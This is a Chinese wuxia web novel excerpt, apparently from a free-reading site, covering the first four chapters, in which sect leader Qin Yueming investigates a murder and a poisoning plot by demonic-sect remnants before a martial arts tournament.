《明月西潜》 1. 思君不见下渝州 《明月西潜》全本免费阅读 渝州城,北街。 一名女子正在街道上缓缓打马前行,她五官精致秾丽,肤白胜雪,乌发如云,一身素色衣裳更衬得她容光绝世,动人心魄。 旁边酒楼上,一道视线落下来,毫不掩饰地打量着她。 秦月明抬头望去,只见一个黑衣男人站在酒楼窗口盯着自己,眼神晦暗不明,似乎蕴藏着极为激烈的情绪。 马蹄踢踏着走出老远,男人的视线仍如影随形,秦月明握紧缰绳,只觉得那目光鲜明似刀,仿佛想要剖开她的骨血,看清她的内心。 秦月明成名以后,便甚少遇上如此不识礼数之人,她拨动背后长弓的弓弦,挥手招来街边豆腐店的伙计,低声吩咐了几句,伙计点点头,转头进店。 秦月明走后不久,伙计抱着一大框豆腐穿过人群来到酒楼,热情道:“掌柜的,秦寨主想吃文思豆腐,托我送豆腐来了。” 掌柜闻言,脸上简直笑出了花:“寨主要来,太好了,满生,来搭把手,帮忙把豆腐送到后厨。” 一名店小二连忙应答:“来嘞。” 两人合力将豆腐抬往后厨,走到四下无人处,豆腐店伙计低声道:“监视天字三号房客人。” 名叫满生的酒楼小二神情不变,同样小声道:“好。” · 另一头,秦月明终于来到衙前,她翻身下马,将缰绳交给衙役,就被带到停尸房。 “……死者躯干、四肢都有蹄状淤青,身体多处骨折,致命伤为肋骨断裂扎进心肺窒息而死……” 仵作报出尸体检验结果,秦月明仔细看过尸体,兀自沉思,忽听仵作唤了一声:“大人。” 渝州知州刘东树踱步进来,忧心忡忡道:“秦寨主可有线索,此案是否白牦教所为?” “的确像白牦教的手段,”秦月明摩挲着弓臂,神色平淡道,“但白牦教已亡,这案子是冲我来的。” 八年前,贵州党项羌作乱,白牦教趁势而起,以御畜之能在渝、蜀两州制造多起惨案,动摇军心,拖延朝廷平乱的脚步。 时年二十四岁的白马寨寨主秦月明孤军深入白牦教,射杀其教主并两大长老,收服白牦教圣兽,白牦教就此四分五裂,其中一支认秦月明为主,迁入渝州。 如今这位死者似是在马厩中被践踏而亡,死状与白牦之乱中的死者雷同;而且死者死在盐梅楼的马厩中,这座酒楼是白马寨产业,其掌柜更是曾经的白牦教教众,使人不得不多心。 “寨主心中有数便好。”刘东树慢吞吞道,“我已命张捕头调查此案。” 张捕头全名张明堂,是西南一带有名的神捕,断案如神,铁面无私,江湖人称“鹰眼捕头”。 秦月明与张明堂打过交道,对他还算了解,闻言眉头舒展,笑道:“张捕头的能力我是放心的,还要多谢大人的信任。” 若官府有心,自可利用此案做些文章,将脏水泼到她这个寨主身上,打压白马寨,又何必让张明堂这个出了名的硬骨头来查案。 刘东树哈哈大笑:“好说好说,秦寨主可是陛下亲口褒奖过的义士,杀个人而已,怎会用此鬼蜮伎俩。” 恰在此时,衙役来报,张捕头勘查完现场,带着几个人证回来了,请秦月明过去参与问讯。 “江湖事江湖了,秦寨主自便,在下还有公务在身,便不多打扰了。”刘东树笑眯眯,背着手迈着四方步离开了停尸房。 秦月明向缩在一旁的仵作点了点头,也离开了。 · 州衙前厅分外热闹,秦月明刚进门,便听得一句:“……堂堂官府,竟成白马寨走狗,一边说什么秉公办案,一边放着凶手逍遥法外,张明堂,你枉担神捕之名!” 凶手找到了?是白马寨的人?秦月明一怔,问道:“凶手是谁?” 听到她的声音,厅中众人俱是一惊,在场不乏江湖高手,却无人发现她是何时进来的,如此鬼魅的轻功,实在教人心底发寒。 还是张明堂最先回神,拱手道:“秦寨主来得正好。” “张捕头,”秦月明还礼,目不斜视,“听你们刚才的对话,似是找到了此案凶手?” “呸!”旁边体格庞大得能塞下三个张明堂的老头恨声道,“装模作样,凶手不正是你吗?” 秦月明仍是看着张明堂:“陆庄主何出此言?” 胖老头——冷泉山庄庄主陆鹤看着她这副目中无人的样子,更加怒火中烧,蒲扇似的大掌提起旁边一个店小二打扮的人,厉声道:“把你之前的话再说一遍。” 感受到在场诸人的目光都投了过来,店小二战战兢兢,结结巴巴道:“那、那位客官说、说……” “本案死者吗?他说了什么?”在陆鹤不耐烦之前,秦月明先出了声,语气温和。 店小二抖抖索索了好一会儿,才在陆鹤的威吓下,一咬牙一闭眼:“……他说,秦寨主您、您一介寡妇还出来抛头露面,不知廉耻……” 秦月明眉心微蹙,还未来得及说什么,便觉一阵庞大的内力从门口涌进来,铺天盖地地压在众人身上,她下意识运转内力,卸去压力。 众人转头看去,便见一个男人气势汹汹地提着刀走了进来。 秦月明眼神一厉,此人身材高大挺拔,容貌俊朗,正是之前在盐梅楼上无礼注视自己之人。 一名衙役跟在后头,小心翼翼道:“张捕头,这位赵大侠有线索要提供。” 这杀气腾腾的样子,确定是来当证人,不是来杀人的吗?张明堂头疼,下一刻便感到身上压力一轻,原来是秦月明看不下去,默默将男人的内力推了回去。 “秦寨主倒是会做好人。”男人收回内力,目光刮过之前大放厥词的店小二并提着他的陆鹤,冷笑一声。 “赵青山。”陆鹤认出来人,一哆嗦,丢下店小二,劈着嗓子道,“你怎么在这里?” “自然是来杀你家那个废物,可惜被人捷足先登。”赵青山满脸不耐道。 陆鹤脸上的肥肉颤动了两下,不敢跟这位杀神犟嘴,便转头仇恨地看向秦月明:“秦月明,人证物证俱在,你还有什么好说?” “呵。”秦月明还未张嘴,就被赵青山抢过话头,“没脑子就不要出来丢人……” 抢白到一半,他突然顿住不再说话,定在原地不知想些什么,气势更阴沉了。 秦月明无言地看了他一眼,垂眸柔声道:“陆庄主,我与令郎素不相识,纵然他有些许言语上的冒犯,也不值得我自伤名声去置他于死地,庄主切莫因一时之气蒙蔽双眼,放过杀害令郎的真正凶手啊。” 陆鹤闻言只觉是狡辩,怒目圆瞪,在被赵青山轻飘飘看了一眼后又泄气,咂摸片刻,才觉得秦月明说的也有些道理,却放不下面子,嘟囔道:“巧言令色,焉知不是你手下不忿,自作主张。” “陆庄主,”秦月明笑意盈盈地摩挲箭囊,“妾身不才,这点御下手段还是有的。” 陆鹤终于彻底住了嘴,场面一时安静下来。 秦月明向张明堂一拱手,道:“张捕头,请继续问案吧。” 赵青山再次发出一声清晰的冷笑。 秦月明取下背后的弓,赵青山的手握上刀柄。 “秦寨主,赵大侠,”张明堂额角发胀,努力拿出铁面神捕的气势,沉声道,“命案要紧。” 为转移两人注意力,他迅速告知之前讯问出的线索,“死者是两天前到的渝州城,入城以来一直住在城西的五福客栈……” “所以陆少庄主到盐梅楼吃饭只是巧合,并非有人故意设计?”秦月明沉吟片刻,语气中流露些许歉意,“幕后凶手应是冲盐梅楼而来,平白连累了少庄主。” 她这样放低姿态,陆鹤却不敢顺杆子往上爬,他之前被仇恨冲昏了头,方敢跟秦月明呛声,直到看见她与赵青山针锋相对,才如冷水浇头,想起这位也是不能惹的主儿,顿时出了一身冷汗,喏喏低头:“是我儿不走运,如今只盼寨主相助,找出凶手为我儿报仇。” “此事还需仰仗张捕头。”秦月明将话头牵回张明堂身上。 陆鹤十分上道,向张明堂深深一拜:“刚才我急火攻心,口无遮拦,还请张捕头海涵,我儿之事就仰赖捕头了。” 张明堂伸手扶起他,道:“陆庄主不必多礼,此乃在下分内之事。”随后转向赵青山道,“不知赵大侠有何线索提供?” 赵青山抱着刀,目光定在秦月明身上:“陆参是与人约在盐梅楼会面,似乎想在娄山擂中做些什么。” 秦月明握紧长弓,冷下眉眼。 十一年前,白马寨内乱过几场,隐隐有日落西山之兆,为挽狂澜,秦月明不远千里前去中原参加当年的武林大会,一举扬名,让白马寨再次进入江湖人的视野。 之后她趁热打铁,以神兵为饵、千金作赏,广发英雄帖,联合西南其他门派一起在渝州举办娄山擂,引来无数江湖人,白马寨的地位水涨船高,逐渐恢复昔日“西南第一寨”的荣光,西南武林也愈发昌盛。 娄山擂对白马寨,乃至西南武林的意义不言而喻。 “赵大侠如何得知?”见秦月明面色不虞,却没有出声,张明堂继续问道,“那人长什么样?” “因为我正好在他们隔壁雅间。”赵青山改用右手提刀,舒展左手指掌,“给我纸笔。” 秦月明注意到他的这个动作,怔了一下。 片刻后,衙役在厅中案几上陈上文房四宝,赵青山提笔挥毫,寥寥几笔勾勒出一张栩栩如生的人像。 “我见过他!”陆参随从指着画像,惊声道。 众人侧目。 据随从所言,此人名叫王贺,是陆参在江城结识的朋友,与他们同行过一段时间,直到渝州附近的一座小镇才分开。 “你们是何时分道的,在哪个小镇?” “四、四天前,那小镇好像叫温什么。” “温山镇?”张明堂思忖片刻,眉头一皱,“不对,冷泉山庄在东南,你们为何会经过渝州西北的江城,又绕路到东南的温山镇?” 随从期期艾艾了好一会儿,才在陆鹤的瞪视下吐露实情:“少庄主听说江城出了一位倾国倾城的花魁,想、想去看看。” “孽子,为了个妓子甩脱护卫,他不要命了,在被……追杀还敢发色心!”陆鹤勃然大怒,却在最后一句话时卡了一瞬,气势稍有不足。 赵青山百无聊赖地敲了敲刀柄,没理会他话中的若有所指。 张明堂拿起画像,道:“赵大侠,你是什么时候看见此人与死者会面的,此人是何时离开盐梅楼的……” 他连问了好几个问题,赵青山一改刚进门时的暴烈,还算耐心的一一回答:“就今天中午,那人在陆参死之前就走了……” 张明堂将已有的线索捋了一遍,心头隐约有些眉目,看了看在场众人道:“当务之急是找出这个王贺,获取更多线索。” 秦月明颔首道:“我会派人帮忙。” 陆鹤连忙表态:“在下也带了些人来,有需要的地方捕头尽管吩咐。” “如此再好不过。”张明堂点点头。 事情眼看告一段落,赵青山似觉无聊,径自转身离开,出门前又回头看向秦月明:“秦寨主,让你的人练练轻功,隔一条街都能听到他们的脚步声。” 秦月明八风不动:“多谢赵大侠提醒。” “呵。”赵青山轻嗤一声,扬长而去。 · 秦月明走出州衙,就见一名白马寨弟子牵着她的马守在门外。 2. 雕弧白马金仆姑 《明月西潜》全本免费阅读 翌日,白马寨别院,前厅。 娄山擂是西南盛事,巴蜀各门派早早便派了人来,除去参擂之人,余者皆主动帮忙打理擂台诸事,接到秦月明的帖子后,这些人迅速赶来别院。 听闻此次命案不仅牵扯到娄山擂,背后还有魔教余孽的身影,众人俱感意外,不由议论纷纷。 秦月明端坐厅上,待众人声讨完毕,才缓缓开口:“当初魔教流毒蜀中,被白马寨肃清,此番魔教余孽卷土重来,本该是我白马寨一门之祸,但娄山擂却是事关整个西南武林,不能任由魔教余孽作乱,如此才不得不将诸位牵连进来,还望各位海涵。” “寨主此言差矣,魔教余孽,人人得而诛之,何来牵连之说。” “除魔卫道,义不容辞。” …… 厅下诸人闻言,不管心中有何感想,面上俱作出义愤填膺之态。 “茶马互市重开在即,沿途还需诸位照拂,若教这群魔教妖人搅扰着实不美。”秦月明又不紧不慢道。 听到这个消息,众人皆喜出望外,神色中更增热情,连连点头。 “是极是极。” “我这便向掌门传书,让门中再派些弟子来帮忙。” “兵贵神速,真让那群魔教余孽闹出祸来,破坏了这桩大喜事,咱们都是西南的罪人。” …… 前朝之时,茶马互市贯通西南,盛极一时,沿线不少江湖门派加入其中,赚得盆满钵满,至今仍是西南武林的一段动人传说。 可惜后来天下大乱,商道废弛,及至新朝建立,西南又不甚安稳,互市之事便就此搁置了近百年。 这几年朝廷有意安定西南,派遣来的大都是能臣干吏,又颁布了一系列优抚政策,重开商道一事也提上了议程。 西南武林皆知,秦月明因平定党项羌叛乱有功,得过天子褒奖,素来是西南官场的座上宾,若她在互市口岸的开设上建言一二,各位知州也会卖几分面子。 离口岸越近,赚得越多,各门派自然要惟秦月明马首是瞻,以期接住这场泼天富贵。 秦月明也毫不客气,给他们安排了一堆任务。 众人欣然接受,满面喜色地告退。 “区区魔教余孽本不足为惧,寨主何必让外人来分一杯羹?”各门派中人尽数离开后,旁边为秦月明捧弓奉箭的小弟子小声嘀咕。 秦月明不以为忤,笑吟吟道:“当然是因为你家寨主大方。” 小弟子眼中冒出明晃晃的怀疑,秦月明失笑,正想再逗他两下,就听远处响起一阵尖锐的哨声。 · 渝州城外,娄山擂台。 娄山擂每两年举办一次,地点不定,每次都会建造新擂台。 今年娄山擂设立于渝州城东的阳山之上,尚未完工的半成品擂台处,好几名在此监工的白马寨弟子横七竖八地躺了一地,幸存的弟子个个挂彩,此时正护着工匠躲到一边。 不远处,荀风正与一名挥舞阔剑的中年男子交手,旁边还有两男一女帮忙掠阵,但四人合力都不是此人对手,节节败退。 “嗖!” 离弦之箭裹挟着惊人的内力钉入平地,掀起一阵气浪,将荀风几人和中年男子冲荡开来。 “寨主!”荀风与幸存的弟子们惊喜地看向射箭之人。 匆忙赶来的秦月明跃至场中,素手翻转,利落地将荀风摁成打坐的姿势,轻声道:“调息。” 尔后她抬眼看向中年男子,却只见到一个仓惶的背影—— 对方竟是直接不战而逃了。 秦月明眼中闪过一抹疑虑,来不及思索,先去检查了诸位弟子的情况。 此处原有十八位白马寨弟子,如今轻伤者六人,重伤者五人,身亡者……七人。 她为重伤弟子输入内力稳定伤势,从袖中掏出两瓶伤药递给轻伤的几人,转身收起戚容,看向方才为荀风助拳的三人。 不待秦月明说话,三人中的少女先大方抱拳道:“金仆姑前辈,在下陈书灯,这两位是我的好友,师山和王更明。” 秦月明大破白牦教后,上任飞耳阁阁主以诗句“白马雕弓金仆姑,弦飞羽箭敌万夫。”盛赞其义举,自此江湖人便改称她为“金仆姑”。 “陈少侠、师少侠、王少侠。”秦月明一一唤道,“多谢三位出手相助。” 陈书灯连忙道:“前辈言重了,我等实力低微,并未帮上什么忙,还险些拖累荀堂主,实在惭愧。” “少年热血,侠肝义胆,何需惭愧。”秦月明赞道,话锋一转,“不知三位可知方才那位凶人的来历?” 三人还真知道,或者说,他们正是为中年男子而来。 中年男子名为岳宁,是去岁中原新冒出的小门派——无忧门的一位堂主,在邺城一带颇负侠名。 而陈书灯等人无意中撞破过无忧门私下买卖人口的勾当,苦无证据才不敢打草惊蛇,此次在渝州城中发现鬼鬼祟祟的岳宁后便留了心,方有阳山这一遭。 秦月明眉头紧皱,无忧门、金缕宫余孽,看似不相干的两方势力,但似乎都为破坏娄山擂而来…… “师父!”秦月明的思绪被一声惊呼打断。 一条身影扑到闭目调息的荀风面前,正是之前别院中为秦月明捧弓的小弟子。 他名为姜良,原是附近小村庄吃百家饭的孤儿,三年前荀风去该村庄调查消息,无意间发现这孩子天生神力,见猎心喜将人收入门墙,带回了白马寨。 然而姜良到了寨中却被秦月明挽弓射箭的飒爽身姿所迷,一心想学箭术,荀风无奈,只得把他送来给秦月明当小跟班。 不过师徒俩的感情并未因此受到影响,仍然十分深厚,此刻看到荀风脸色惨白的样子,姜良不由手忙脚乱,惊慌失措。 “别打扰你师父疗伤。”秦月明将他拎起来,“怎么只有你,其他人呢?” 听到哨声讯号后,秦月明自己先行一步,让姜良去召集弟子作后援,现下来的却只有姜良一人。 “飞凤桥上有人用毒拦路,其他人过不来。”姜良稍微冷静了些,赶紧禀报道。 他之前无意中吃下过传说中的神药朱果,倒是有百毒不侵之体,其他人却是没这般奇遇,只能被拦。 “倒是环环相扣。”秦月明冷笑一声,心头还是有些不解,按理说幕后之人计划周详,又为何敢放自己过来救人? 还是说,中间出了什么变故? 秦月明带着疑虑飞身下山。 阳山与渝州城中间隔着一条名为凤江的大河,水面广阔,常人难渡,江面上伫立的石桥名为“飞凤”,是附近唯一贯通两岸的道路。 石桥中间,一个身披白缎斗篷的白发老妪佝偻着,右手竹枝,左手竹筒,不停用竹枝蘸取竹筒中的液体向四周挥洒。 随着她的动作,一阵淡淡的竹青色水雾氤氲开来,笼罩住石桥,又缓缓蔓延到了下方的江面上。 被堵在桥头的白马寨弟子满心焦急。 “江湖上何时出现了这样一号用毒高手?” “毒入江水,会不会有伤下游百姓?” “不知阳山上出了什么事,姜娃子见到寨主没?” …… 他们在遇到阻拦时已第一时间便派人回别院搬救兵,但如今小半个时辰过去还没有半点讯息,之前冒进误入毒雾的同门已众目睽睽之下化作一堆白骨,又眼看着对面毒雾的面积进一步扩大,不免有些心神不定。 恰在此时,渝州城方向又走来一个精神矍铄的老者,手拄龙头拐,肩上停了只花梨鹰,看起来气定神闲。 白马寨领头的弟子是一位气质温和儒雅的中年人,名为宋麒,相比其他弟子的急躁,他一直表现得老神在在,还不时出言安抚众人情绪。 他原是寨中一名寂寂无名的杂役小弟子,因在内乱中报信有功,被秦月明提拔,亲眼见证秦月明如何一步步走到如今,自然也经历过八年前的白牦之乱。 看清这位突然出现的老者的形貌后,宋麒脸色瞬变,低声喝道:“戒备!” 诸位弟子一个激灵,赶紧拿出武器,肃然而立。 见到他们这番如临大敌的表现,老者嘿然一笑:“看来有人认得老夫,如此倒省了老夫许多口舌。” 宋麒抽出背后双斧,严阵以待,沉声道:“天不收。” · “天不收”孟鹰是五十多年前西南武林的一段传奇,据说他出生于一座已消亡的疫村,后来隐瞒身世拜入白牦教,一路升至一堂之主,随后因与左长老勾结谋害教主被千里追杀,逃亡至南诏。 他将当地的炼蛊之术与御畜之术结合,炼制出一群堪称奇兵的蛊牲。 十多年后,武功已近化境的他强势归来,杀死教主以及教中其他仇敌,成为了白牦教新任教主。 在孟鹰治下的白牦教可谓是西南第一魔教,杀人放火,无恶不作,罪行罄竹难书,而孟鹰因自己多次大难不死,便自号“天不收”。 西南武林深受其害,当此之时,一男一女的出现终结了他的恶行。 女子出生苗疆,一身蛊术炉火纯青,破解了孟鹰的蛊牲之术;男子武艺高强,与女子联手将孟鹰打入龙江。 失去孟鹰的白牦教元气大伤,在西南武林的围攻下节节败退,最终逃入贵州深山才得以保全。 而那对大败孟鹰的男女便是白马寨的上任寨主沈有思及其夫人赵云乡,两人因对付孟鹰而结缘,后结为夫妻,成就了一段江湖佳话。 谁曾想孟鹰竟再次死里逃生,蛰伏养伤二十多年,又回到白牦教当了太上教主,勾结党项羌卷土重来—— 然后败于白马寨现任寨主秦月明之手。 · 如此种种,足以让孟鹰对白马寨深恶痛绝,不共戴天。 秦月明与孟鹰那场对决宋麒也在现场,亲眼见秦月明惨胜。那也是他追随秦月明以来见她受伤最重的一次,若非前寨主的师父仙客前辈及时送来的珍药,秦月 3. 曾经沧海难为水 《明月西潜》全本免费阅读 “啊!”孟鹰还未来得及得意,便觉心口一凉。 在他失去意识的前一刻,脑海中浮现第一次听说秦月明时属下说的话: “……秦月明所修心法名为《秋月行天》,鬼魅虚渺。她以内力化成的箭枝无形无影,无人能躲……” “……若她去当杀手,第一杀手的位置怕是要易主了……” “……做她的对手,最紧要的就是不能让她离开你的视线,否则她的箭不知会从何处射来取走你的性命……” · 黑雾浪潮般涌向孟鹰,层层收拢,将他的身体裹成了一个巨大的黑茧。 秦月明施施然收起长弓,并未去看孟鹰被蛊虫反噬的惨状,而是转向赵青山,眼神探究:“赵大侠……方才唤我什么?” 赵青山卓然而立,神色不虞:“谁唤你了?自作多情。” “是吗。”好声好气换来一张冷脸,秦月明也有些恼,语气淡漠地回了一句便懒得言语,从腰间取出一支铁制短笛吹响,嘹亮笛声穿破山林,回声不绝。 她本就唇色鲜艳,不点而朱,被黑沉铁笛一衬,更显出十二分的灼人。 秦月明翻手收起短笛,抬眼便见赵青山目光游移,耳根竟也隐隐泛红,整个人透出一股莫名的局促,一边觉得他这表现眼熟一边疑惑:“赵大侠?” 赵青山被她唤回神,脸色瞬间变得铁青,一言不发便欲施展轻功离开,谁知甫一运功就觉胸口闷痛,情不自禁吐出一口黑血来。 “赵青山!”秦月明一惊,顾不上许多,疾步上前伸手去捉这人的手腕。 先前她之所以截下杀孟鹰的差使,便是看出赵青山出刀略见迟滞,似有内伤,但没想到竟到了吐血的程度。 不料她的手指刚触到赵青山的腕间,还未探出脉搏,赵青山便好似被烙铁烫到,挣脱出手去。 下一刻,她只觉眼前一花,回过神来面前已无赵青山人影——这人竟不顾伤势运起轻功跑了! 秦月明满头雾水,但眼下无暇他顾,只略惊诧片刻便收了心。 赵青山这一茬只是小事,另外那些事才麻烦:距离娄山擂举办还有不到二十天,诸事繁杂,金缕宫作乱在前,这会子又冒出个无忧门,还有飞凤桥那个拦路老妪…… 桩桩件件,饶是秦月明一向泰然,也不由感叹“多事之秋”。 地上孟鹰的尸身现在只余白骨,那些细小蛊虫组成的黑雾失去操控者,四下飘荡开来,秦月明见状打开腰间的竹编小笼,一只色彩绚烂的蛱蝶从中飞出,向蛊雾而去。 因前任寨主夫人赵云乡便是蛊娘,白马寨中炼蛊之风颇浓,秦月明接任寨主后也并不十分抑制。这只蛱蝶是寨中几个炼蛊人意外合力炼制而成的蛊王,当初几人为抢它打得狗脑子都出来了也谁都不服谁,最后干脆作为生辰礼送给了秦月明。 蛊王天生克制其他蛊虫,蛱蝶所过之处,蛊虫纷纷毙命,不消片刻,那一大片黑雾便如冰消雪融般消散无踪。 蛱蝶飞回小竹笼不久,接到秦月明笛声传讯的白马寨弟子赶到,秦月明将清理现场的活计交给他们,回了渝州城别院。 画下岳宁的形貌,吩咐弟子去寻,又重新择人去阳山监工,秦月明才稍松一口气,处理起寨中其他事务来。 · 如此过了十多天,除了岳宁未找到,再无其他意外发生。 擂台已赶工完成,而随着娄山擂临近,渝州城中的武林人士愈发多了起来。 盐梅楼雅间,秦月明一边擦拭弓箭一边等上菜,忽听窗外一阵喧闹,侧耳细听原来是两拨有仇的人碰面了在打嘴仗。 司空见惯之事,她有些兴味索然,收回心神拨了拨弓弦,耳中却钻进一个熟悉的名号。 “……横行客,一人做事一人当,躲在小辈身后算什么好汉……” 赵青山?她来了兴致,开窗望去,只见一群身穿月白长袍、腰佩长剑的人将四个人团团包围。 那四人除了赵青山,另外三人秦月明也认得——竟是陈书灯、师山、王更明。 秦月明看下去时,正见赵青山连刀带鞘抽了一个月白长袍弟子一记,对对面的领头者道:“要打就打,叽叽歪歪。” 月白长袍的领头之人是个看着风度翩翩的中年男人,样貌清俊,即使佩了剑也透出一股书卷气,也是秦月明的熟人——相思明月楼大楼主杜留晖。 秦月明眉心一跳,暗道“晦气”,往墙边躲了躲,避开杜留晖的视线。 若要评秦月明在江湖中最厌烦之人,非杜留晖莫属。 杜留晖此人也曾是一代奇侠,年少成名,义薄云天,一手云愁剑法出神入化,别号“云愁剑客”,十九岁便带着一干兄弟在江南武林立了足,于抚州建立起一方势力。 但此人风|流成性,处处留情,在江湖上惹了一身风|流债后转身娶了抚州知州之女,因妻闺名中有一个“雪”字,还将势力名改为“望雪楼”以彰情深。 几年后,其妻病逝,此人又恢复本性,流连花丛。 六年前,秦月明第二次参加武林大会,曾与其交手,被他动手动脚的打法恶心得够呛,却因武功稍逊避之不及,事后设计让他好好丢了几次丑才略微解气。 谁知自那之后,杜留晖便缠了上来,不但常常招摇过市地送礼,又将“望雪楼”改名为“相思明月楼”,惹得江湖上议论纷纷。 世道从来对女子要苛刻些,杜留晖一番作为,名声受损的却是秦月明,幸好她及时反应,当众严辞拒绝了杜留晖的殷勤,并立誓此生绝不二嫁,才终于平息了物议。 杜留晖并不死心,私下里仍不停骚扰秦月明,直到三年前秦月明武功更进一步,对方才稍作收敛。 两年前杜留晖麾下败兵折将、元气大伤的消息传来,秦月明简直喜出望外,这也是她之前被赵青山阴阳怪气也不十分介怀的原因。 “锵!” 秦月明的思绪被拉回,抬眼就见下方已经打了起来,陈书灯三人对上诸多原望雪楼弟子,赵青山与杜留晖在半空中辗转腾挪,刀光烁烁,剑影重重,兵戈交击声不绝于耳。 周围的行人小贩熟练躲进街边店铺,另也有一些江湖人在兴致勃勃地看热闹。 眼见半空中两人的打斗已经波及附近商铺,秦月明无法再束手旁观,探出头喊道:“住手!” 随后提着弓箭跃出窗外,落到对面房顶。 赵青山与杜留晖激战正酣,根本没听见秦月明的声音,秦月明轻啧一声,内力如流水般涌了过去,终于惊动两人。 刀客与剑客身影分开,各立于屋脊两头,警惕地看过来。 “秦寨主。”杜留晖惊喜唤道。 赵青山神色阴沉,一言不发。 4. 风卷江湖雨暗村 《明月西潜》全本免费阅读 自第一次见到赵青山起,秦月明便觉得这人古里古怪,偶尔有点发癔症似的,故而见他打坏桌子扬长而去,也只是惊疑一瞬便抛之脑后,催着袁老翁去煮面。 袁老翁慢慢走向后院厨房,他年近六旬,在普通人中算是老迈,加上幼时经历过逃荒伤了底子,身体一直不太康健,走起路来稍显蹒跚。 当他终于走进厨房,在此地守候多时的人已十分不耐,一指点了他的哑穴,对他的惊恐很是满意,低声威吓道:“不想死就按我说的做。” · 秦月明随手将被赵青山打坏的桌子残骸清理到墙角,放出蛱蝶蛊王百无聊赖地逗弄了好一会子还不见袁老翁身影,有些疑惑,唤了一声:“袁叔?” “来、来了!” 片刻后,老翁捧着一碗面颤巍巍地走了出来。 停在秦月明指尖的蛱蝶鳞翅翕张,开合之间仿佛流光溢彩,艳丽非常。 秦月明眼神微变,面上不动声色,待老翁将面碗放到自己面前才抬手飞快点了两下,将人定住,悄无声息地出了店门,绕到店铺后院,取下背后长弓,翻身上墙,便见一中年男子在厨房门口翘首以盼。 虽不见那柄醒目的阔剑,秦月明仍一眼认出此人正是久寻无踪的岳宁——那个在阳山之上杀伤多名寨中弟子的无忧门堂主。 她目光一利,挽弓搭箭—— “咚!”“啊!” 羽箭带着沛然大力穿过中年男子肩头,将他重重钉到墙上。 秦月明往他另一边肩膀补上一箭,让两边对称了才跳下墙头,先去给袁老翁解穴,再吹响铁笛唤来附近弟子把痛得鬼吼鬼叫的岳宁带走。 在此期间,袁老翁一直在旁边哆嗦,面无人色。 秦月明已知是岳宁给他下蛊,逼他在自己的面中下毒,他为保命不得不顺从,对他的行为并不十分在意。 毕竟对方是因自己遭的无妄之灾,秦月明给他解蛊后安慰了几句才离开。 · 白马寨别院,书房。 “寨主!”姜良一路横冲直撞进门。 桌边一名女弟子转头瞪他:“寨主正在用饭,大呼小叫做什么?” 姜良撇嘴,不过还是降低了音调:“寨主为何这会儿才吃饭——听说有人行刺寨主,怎么回事?刺客抓到没?” 他噼里啪啦丢出一串问题,女弟子听完翻了个白眼,将事情的来龙去脉说了一遍:“……岳宁十分嘴硬,什么都不肯交代,正受刑呢。” “江湖事江湖了,利用无辜百姓,卑鄙无耻。”姜良唾骂道,一下窜出门,“我去地牢看看。” “慢着。”秦月明叫住姜良,慢条斯理地漱了口,道,“去城东竹庄一趟,将此事告知陈少侠。” “是。”姜良脚步一转,往别院外飞去。 秦月明待弟子收拾完退下,才点点桌面,道:“进来吧。” 荀风的身影出现的门口,随之而来的还有一阵浓烈的血腥气。 “有收获了?”秦月明问道。 “无忧门意图招揽孟鹰,岳宁是被派来帮他复仇的,据他交代,除了他和死在飞凤桥的‘竹观音’,无忧门中还来了一位高手。”荀风呈上手中的供词,“他只知此人姓庄,是无忧门的副门主之一,上次本该由他来对付你,谁知中途被横行客搅了局……” 秦月明想起当时赵青山身上的伤势,恍然之余不由对这位庄副门主生出几分戒备。 能将赵青山伤到吐血地步的高手,她对付起来也不可能轻松。 如果自己真被此人缠住,自然上不得阳山,救不下山上之人。 修建擂台的工匠大都是渝州本地青壮百姓,足有二三十人,若都折在那里,白马寨必将背上骂名,官府那里不好交代,娄山擂恐怕也无法再筹办。 之后稍作运筹,便可进一步削减白马寨的声望…… 秦月明一边推敲幕后之人的计划,一边一心二用听着荀风的禀报。 “……孟鹰死后,无忧门已打算收手,这位庄副门主却似乎不想放弃,命岳宁潜入渝州城,伺机投毒。我们检查过他交出来的毒药,是见血封喉的剧毒,无色无味,此前从未在江湖上出现过,据说是这位副门主亲手所制。” “毒……”秦月明陷入沉思,片刻后话锋一转问道,“王贺死了吗?” 白牦教余孽、无忧门这两方势力的手段和目的都已基本浮出水面,但最早对白马寨出手的金缕宫余孽的动向却还云山雾罩,而毒瘴之术可是他们的拿手把戏。 荀风怔愣片刻,很快反应过来,皱眉道:“陆鹤已将他杀了。” “无妨。”秦月明心头浮出一个猜测,“让岳宁画一幅那个庄副门主的画像,我让人来认。” 荀风领命退下。 秦月明翻开岳宁的供状细看,她若来渝州城,必会去袁家面店,有心人只要稍微留心便可注意到,岳宁打听到她这个习惯后便一直在面店附近守株待兔,终于等来了今天这个机会。 她对袁老翁并不设防,今日若不是蛱蝶蛊王感觉到蛊虫气息蠢蠢欲动,让她生了警惕,还真可能阴沟里翻船。 “回去让人给你炼好吃的。”她拍拍腰间竹笼。 · “秦前辈。”陈书灯等人接到岳宁被抓的消息便飞快赶了过来。 赵青山拦下那位庄副门主,帮了秦月明大忙,秦月明还欲当面感谢,却见来的只有陈书灯三个小辈,不免有些失望,问道:“赵大侠没来么?” 陈书灯想起面店之事,有些尴尬道:“义父有事回中原了,半个时辰前走的。” 秦月明始料未及:“……是吗。” 她挥挥手,让姜良带他们去后院柴房见岳宁,回到书房拿起荀风送来的画像继续端详。 画像上的庄姓副门主头发稀疏,瘦长脸、鹰钩鼻、细眯眼,是秦月明从未见过的人,但并不意味其他人也没见过。 “无量宗宗主无量子确认此人是金缕宫人。” “玉垒山庄三庄主幼年曾被金缕宫掳去,见过此人,当时教众称其为‘长老’。” “……此人名为庄不周……” …… 秦月明吩咐弟子带着画像上门去让蜀中来的江湖人士辨认,果真应了她的猜测,那位无忧门的副门主正是当初侥幸逃过一劫的金缕宫长老。 “啧。”她轻轻一捏画像,脆弱的纸张顿时化作齑粉,纷纷扬扬落下,“既然如此急不可耐找死,便成全你罢。” · 白鸽振翅飞向碧空,很快就在天边化作一个个小点。 秦月明穿越后院月洞门,抬头正见信鸽远去,微微一笑,走进柴房。 陈书灯等人刚审问完岳宁关于无忧门买卖人口之事,正为问出的结果愤怒不已。 见到秦月明的身影,陈书灯好似找到了主心骨,怒意难捺道:“世间竟有如此丧心病狂之人,无忧门从十多年前便开始买卖人口来施蛊炼药,不知害了多少人命,居然还敢以正道自居!” “什么?”秦月明闻言亦十分惊怒,看向地上如死狗般的岳宁,“此事当真?” 感受到她的目光,岳宁瑟缩了一下,抖抖索索道:“是、是真的,门主手中有一门以人炼药之法,可 5. 恨到归时方始休 《明月西潜》全本免费阅读 